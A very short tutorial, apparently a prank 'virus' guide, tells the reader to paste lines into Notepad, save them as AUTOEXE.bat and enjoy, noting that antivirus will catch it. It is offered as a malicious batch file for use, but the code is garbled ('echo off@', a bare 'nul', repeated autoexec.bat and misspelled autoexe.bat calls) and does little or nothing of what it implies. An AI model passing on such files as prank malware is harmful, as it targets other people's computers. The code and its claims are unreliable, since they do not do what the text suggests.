Step1. Open Notepad
Step2. Copy the following code in the notepad as it is:
echo off@
cls
nul
c:\autoexec.bat
c:\autoexec.bat
c:\autoexe.bat
c:\autoexec.bat
c:\autoexec.bat
c:\autoexe.bat
Step3. Your code is ready. Now save it as a file name AUTOEXE.bat
Step4. Enjoy. If you have a good antivirus it will detect it.